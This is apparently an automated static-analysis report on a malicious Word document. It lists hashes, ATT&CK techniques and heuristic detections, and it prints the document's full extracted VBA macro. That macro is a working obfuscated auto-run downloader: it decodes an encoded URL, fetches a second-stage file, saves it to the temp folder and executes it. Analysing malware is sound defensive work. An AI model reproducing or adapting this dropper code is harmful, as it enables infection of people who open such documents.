Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8274b2519eaaa57b…

MALICIOUS

Office (OLE)

38.5 KB Created: 2017-10-17 02:08:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: a3cecc6457d415e755ad982642ad2ea9 SHA-1: e4f74d42119ab756b753519639d8448040d0dba7 SHA-256: 8274b2519eaaa57b707d1f5e803ce95d3e9e728c53fee61498a4d1fc4ee60fe4
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains VBA macros that are automatically executed upon opening the document. These macros utilize CreateObject to instantiate 'scripting.filesystemobject' and 'microsoft.xmlhttp', indicating an intent to download and save a file to the system, likely a second-stage payload. The ClamAV heuristic further confirms its malicious nature.

Heuristics 7

  • ClamAV: Doc.Malware.Generic-6988714-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6988714-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    MJSQCNZDBGIPZBGKIWENXHFZPTTTVOKOEKJRTUQDLHYQRCPSYEOVPIVHGULTMOCPURBYKVIECIQXICHSQ = VIECIQXICHSQFGVGJNIXCCCEPSWLSRZCDYLSPHYZKXZHFWEQQEIODMCOWKWDZJBMEJMKQYGJKPBYNOEHRUPGDEDFXBFNB.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set WENXHFZPTTTVOKOEKJRTUQDLHYQRCPSYEOVPIVHGULTMOCPURBYKVIECIQXICHSQFGVGJNIXCCCEPSWLSRZCDYLSPHYZKXZHFW = CreateObject("scripting.filesystemobject")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6577 bytes
SHA-256: 883cb55b2ba86e4eefba565a36cbbea1d45e3eee2aff27bf8320e6b5f30abd4d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim YYMQWLUKWFLFEBKJUMRUSXHHRSXJZOWMPYDXOLMLNGDGVIBJLMIUJYQOJTOKQVNNHZNYFMDLFHTNMJSQCNZDBGIPZBGKI
Dim MJSQCNZDBGIPZBGKIWENXHFZPTTTVOKOEKJRTUQDLHYQRCPSYEOVPIVHGULTMOCPURBYKVIECIQXICHSQ
Dim EQQEIODMCOWKWDZJBMEJMKQYGJKPBYNOEHRUPGDEDFXBFNBZIDEZMBQPGBLGCINFFYYMQWLUKWFLFEBKJUMRUSXHHRS


Dim GRIWFUXIMHWTUTVOLOERKRTVRERHZXRCWSZEVVPIVHNULUNPCVURBZLVILJPQXIJOSQFNWGQNIXCDCEW As Integer
GRIWFUXIMHWTUTVOLOERKRTVRERHZXRCWSZEVVPIVHNULUNPCVURBZLVILJPQXIJOSQFNWGQNIXCDCEW = 1
Dim WENXHFZPTTTVOKOEKJRTUQDLHYQRCPSYEOVPIVHGULTMOCPURBYKVIECIQXICHSQFGVGJNIXCCCEPSWLSRZCDYLSPHYZKXZHFW
Set WENXHFZPTTTVOKOEKJRTUQDLHYQRCPSYEOVPIVHGULTMOCPURBYKVIECIQXICHSQFGVGJNIXCCCEPSWLSRZCDYLSPHYZKXZHFW = CreateObject("scripting.filesystemobject")
    Set EQQEIODMCOWKWDZJBMEJMKQYGJKPBYNOEHRUPGDEDFXBFNBZIDEZMBQPGBLGCINFFYYMQWLUKWFLFEBKJUMRUSXHHRS = WENXHFZPTTTVOKOEKJRTUQDLHYQRCPSYEOVPIVHGULTMOCPURBYKVIECIQXICHSQFGVGJNIXCCCEPSWLSRZCDYLSPHYZKXZHFW.GetSpecialFolder(2)
Dim VIECIQXICHSQFGVGJNIXCCCEPSWLSRZCDYLSPHYZKXZHFWEQQEIODMCOWKWDZJBMEJMKQYGJKPBYNOEHRUPGDEDFXBFNB
Set VIECIQXICHSQFGVGJNIXCCCEPSWLSRZCDYLSPHYZKXZHFWEQQEIODMCOWKWDZJBMEJMKQYGJKPBYNOEHRUPGDEDFXBFNB = CreateObject("microsoft.xmlhttp")
Dim GULTMOCPURBYKVIECIQXICHSQFGVGJNIXCCCEPSWLSRZCDYLSPHYZKXZHFWEQQEIODMCOWKWDZJBMEJMKQY
Dim GZSHRXFVFXZMHFCLKVGSVTZBITTYEBPXHRBXSINNMOHEHWDDKMOKWEZSJKUJLSXIOIBOZZNENGIUINKTSEOBWUBJQCVZMJX
Set GZSHRXFVFXZMHFCLKVGSVTZBITTYEBPXHRBXSINNMOHEHWDDKMOKWEZSJKUJLSXIOIBOZZNENGIUINKTSEOBWUBJQCVZMJX = CreateObject("Shell.Application")

GULTMOCPURBYKVIECIQXICHSQFGVGJNIXCCCEPSWLSRZCDYLSPHYZKXZHFWEQQEIODMCOWKWDZJBMEJMKQY = EQQEIODMCOWKWDZJBMEJMKQYGJKPBYNOEHRUPGDEDFXBFNBZIDEZMBQPGBLGCINFFYYMQWLUKWFLFEBKJUMRUSXHHRS + XHHRSXJZOWMPYDXOLMLNGDGVIBJLMIUJYQOJTOKQVNNHZNYFMDLFHTNMJSQCNZDBGIPZBGKIWENXHFZPTTTVOKOEKJRTUQ("hVSNXSOUZR:q„q")
VIECIQXICHSQFGVGJNIXCCCEPSWLSRZCDYLSPHYZKXZHFWEQQEIODMCOWKWDZJBMEJMKQYGJKPBYNOEHRUPGDEDFXBFNB.Open "GET", XHHRSXJZOWMPYDXOLMLNGDGVIBJLMIUJYQOJTOKQVNNHZNYFMDLFHTNMJSQCNZDBGIPZBGKIWENXHFZPTTTVOKOEKJRTUQ("t€€| F;;rvx~…p:o{y;{rruoq?BA;st ;`N:q„q"), False
VIECIQXICHSQFGVGJNIXCCCEPSWLSRZCDYLSPHYZKXZHFWEQQEIODMCOWKWDZJBMEJMKQYGJKPBYNOEHRUPGDEDFXBFNB.send
MJSQCNZDBGIPZBGKIWENXHFZPTTTVOKOEKJRTUQDLHYQRCPSYEOVPIVHGULTMOCPURBYKVIECIQXICHSQ = VIECIQXICHSQFGVGJNIXCCCEPSWLSRZCDYLSPHYZKXZHFWEQQEIODMCOWKWDZJBMEJMKQYGJKPBYNOEHRUPGDEDFXBFNB.responseBody
If VIECIQXICHSQFGVGJNIXCCCEPSWLSRZCDYLSPHYZKXZHFWEQQEIODMCOWKWDZJBMEJMKQYGJKPBYNOEHRUPGDEDFXBFNB.Status = 200 Then
Set YYMQWLUKWFLFEBKJUMRUSXHHRSXJZOWMPYDXOLMLNGDGVIBJLMIUJYQOJTOKQVNNHZNYFMDLFHTNMJSQCNZDBGIPZBGKI = CreateObject("adodb.stream")
YYMQWLUKWFLFEBKJUMRUSXHHRSXJZOWMPYDXOLMLNGDGVIBJLMIUJYQOJTOKQVNNHZNYFMDLFHTNMJSQCNZDBGIPZBGKI.Open
YYMQWLUKWFLFEBKJUMRUSXHHRSXJZOWMPYDXOLMLNGDGVIBJLMIUJYQOJTOKQVNNHZNYFMDLFHTNMJSQCNZDBGIPZBGKI.Type = GRIWFUXIMHWTUTVOLOERKRTVRERHZXRCWSZEVVPIVHNULUNPCVURBZLVILJPQXIJOSQFNWGQNIXCDCEW
YYMQWLUKWFLFEBKJUMRUSXHHRSXJZOWMPYDXOLMLNGDGVIBJLMIUJYQOJTOKQVNNHZNYFMDLFHTNMJSQCNZDBGIPZBGKI.Write MJSQCNZDBGIPZBGKIWENXHFZPTTTVOKOEKJRTUQDLHYQRCPSYEOVPIVHGULTMOCPURBYKVIECIQXICHSQ
YYMQWLUKWFLFEBKJUMRUSXHHRSXJZOWMPYDXOLMLNGDGVIBJLMIUJYQOJTOKQVNNHZNYFMDLFHTNMJSQCNZDBGIPZBGKI.SaveToFile GULTMOCPURBYKVIECIQXICHSQFGVGJNIXCCCEPSWLSRZCDYLSPHYZKXZHFWEQQEIODMCOWKWDZJBMEJMKQY, GRIWFUXIMHWTUTVOLOERKRTVRERHZXRCWSZEVVPIVHNULUNPCVURBZLVILJPQXIJOSQFNWGQNIXCDCEW + GRIWFUXIMHWTUTVOLOERKRTVRERHZXRCWSZEVVPIVHNULUNPCVURBZLVILJPQXIJOSQFNWGQNIXCDCEW
YYMQWLUKWFLFEBKJUMRUSXHHRSXJZOWMPYDXOLMLNGDGVIBJLMIUJYQOJTOKQVNNHZNYFMDLFHTNMJSQCNZDBGIPZBGKI.Close
End If
GZSHRXFVFXZMHFCLKVGSVTZBITTYEBPXHRBXSINNMOHEHWDDKMOKWEZSJKUJLSXIOIBOZZNENGIUINKTSEOBWUBJQCVZMJX.Open (GULTMOCPURBYKVIECIQXICHSQFGVGJNIXCCCEPSWLSRZCDYLSPHYZKXZHFWEQQEIODMCOWKWDZJBMEJMKQY)


End Sub

    Function XHHRSXJZOWMPYDXOLMLNGDGVIBJLMIUJYQOJTOKQVNNHZNYFMDLFHTNMJSQCNZDBGIPZBGKIWENXHFZPTTTVOKOEKJRTUQ(ByVal VNNHZNYFMDLFHTNMJSQCNZDBGIPZBGKIWENXHFZPTTTVOKOEKJRTUQDLHYQRCPSYEOVPIVHGULTMOCPURBYKVIECIQXICHSQ As String)
    Dim FGVGJNIXCCCEPSWLSRZCDYLSPHYZKXZHFWEQQEIODMCOWKWDZJBMEJMKQYGJKPBYNOEHRUPGDEDFXBFNB As Integer
    FGVGJNIXCCCEPSWLSRZCDYLSPHYZKXZHFWEQQEIODMCOWKWDZJBMEJMKQYGJKPBYNOEHRUPGDEDFXBFNB = 1
            Dim GJKPBYNOEHRUPGDEDFXBFNBZIDEZMBQPGBLGCINFFYYMQWLUKWFLFEBKJUMRUSXHHRSXJZOWMPYDXOLMLNGDGVIBJLMIUJYQOJ As String
Dim TOKQVNNHZNYFMDLFHTNMJSQCNZDBGIPZBGKIWENXHFZPTTTVOKOEKJRTUQDLHYQRCPSYEOVPIVHGULTMOCP As String
Dim FNBZIDEZMBQPGBLGCINFFYYMQWLUKWFLFEBKJUMRUSXHHRSXJZOWMPYDXOLMLNGDGVIBJLMIUJYQOJTOKQ As Integer
Dim URBYKVIECIQXICHSQFGVGJNIXCCCEPSWLSRZCDYLSPHYZKXZHFWEQQEIODMCOWKWDZJBMEJMKQYGJKPBYNOEHRUPGDEDFXB As Integer
URBYKVIECIQXICHSQFGVGJNIXCCCEPSWLSRZCDYLSPHYZKXZHFWEQQEIODMCOWKWDZJBMEJMKQYGJKPBYNOEHRUPGDEDFXB = 12
        For FNBZIDEZMBQPGBLGCINFFYYMQWLUKWFLFEBKJUMRUSXHHRSXJZOWMPYDXOLMLNGDGVIBJLMIUJYQOJTOKQ = FGVGJNIXCCCEPSWLSRZCDYLSPHYZKXZHFWEQQEIODMCOWKWDZJBMEJMKQYGJKPBYNOEHRUPGDEDFXBFNB To Len(VNNHZNYFMDLFHTNMJSQCNZDBGIPZBGKIWENXHFZPTTTVOKOEKJRTUQDLHYQRCPSYEOVPIVHGULTMOCPURBYKVIECIQXICHSQ)
            GJKPBYNOEHRUPGDEDFXBFNBZIDEZMBQPGBLGCINFFYYMQWLUKWFLFEBKJUMRUSXHHRSXJZOWMPYDXOLMLNGDGVIBJLMIUJYQOJ = Mid(VNNHZNYFMDLFHTNMJSQCNZDBGIPZBGKIWENXHFZPTTTVOKOEKJRTUQDLHYQRCPSYEOVPIVHGULTMOCPURBYKVIECIQXICHSQ, FNBZIDEZMBQPGBLGCINFFYYMQWLUKWFLFEBKJUMRUSXHHRSXJZOWMPYDXOLMLNGDGVIBJLMIUJYQOJTOKQ, FGVGJNIXCCCEPSWLSRZCDYLSPHYZKXZHFWEQQEIODMCOWKWDZJBMEJMKQYGJKPBYNOEHRUPGDEDFXBFNB)
            GJKPBYNOEHRUPGDEDFXBFNBZIDEZMBQPGBLGCINFFYYMQWLUKWFLFEBKJUMRUSXHHRSXJZOWMPYDXOLMLNGDGVIBJLMIUJYQOJ = Chr(Asc(GJKPBYNOEHRUPGDEDFXBFNBZIDEZMBQPGBLGCINFFYYMQWLUKWFLFEBKJUMRUSXHHRSXJZOWMPYDXOLMLNGDGVIBJLMIUJYQOJ) - URBYKVIECIQXICHSQFGVGJNIXCCCEPSWLSRZCDYLSPHYZKXZHFWEQQEIODMCOWKWDZJBMEJMKQYGJKPBYNOEHRUPGDEDFXB)
            TOKQVNNHZNYFMDLFHTNMJSQCNZDBGIPZBGKIWENXHFZPTTTVOKOEKJRTUQDLHYQRCPSYEOVPIVHGULTMOCP = TOKQVNNHZNYFMDLFHTNMJSQCNZDBGIPZBGKIWENXHFZPTTTVOKOEKJRTUQDLHYQRCPSYEOVPIVHGULTMOCP & GJKPBYNOEHRUPGDEDFXBFNBZIDEZMBQPGBLGCINFFYYMQWLUKWFLFEBKJUMRUSXHHRSXJZOWMPYDXOLMLNGDGVIBJLMIUJYQOJ
        Next
        XHHRSXJZOWMPYDXOLMLNGDGVIBJLMIUJYQOJTOKQVNNHZNYFMDLFHTNMJSQCNZDBGIPZBGKIWENXHFZPTTTVOKOEKJRTUQ = TOKQVNNHZNYFMDLFHTNMJSQCNZDBGIPZBGKIWENXHFZPTTTVOKOEKJRTUQDLHYQRCPSYEOVPIVHGULTMOCP
    End Function

Attribute VB_Name = "NewMacros"
Sub doc()
'
' doc Macro
'
'

End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.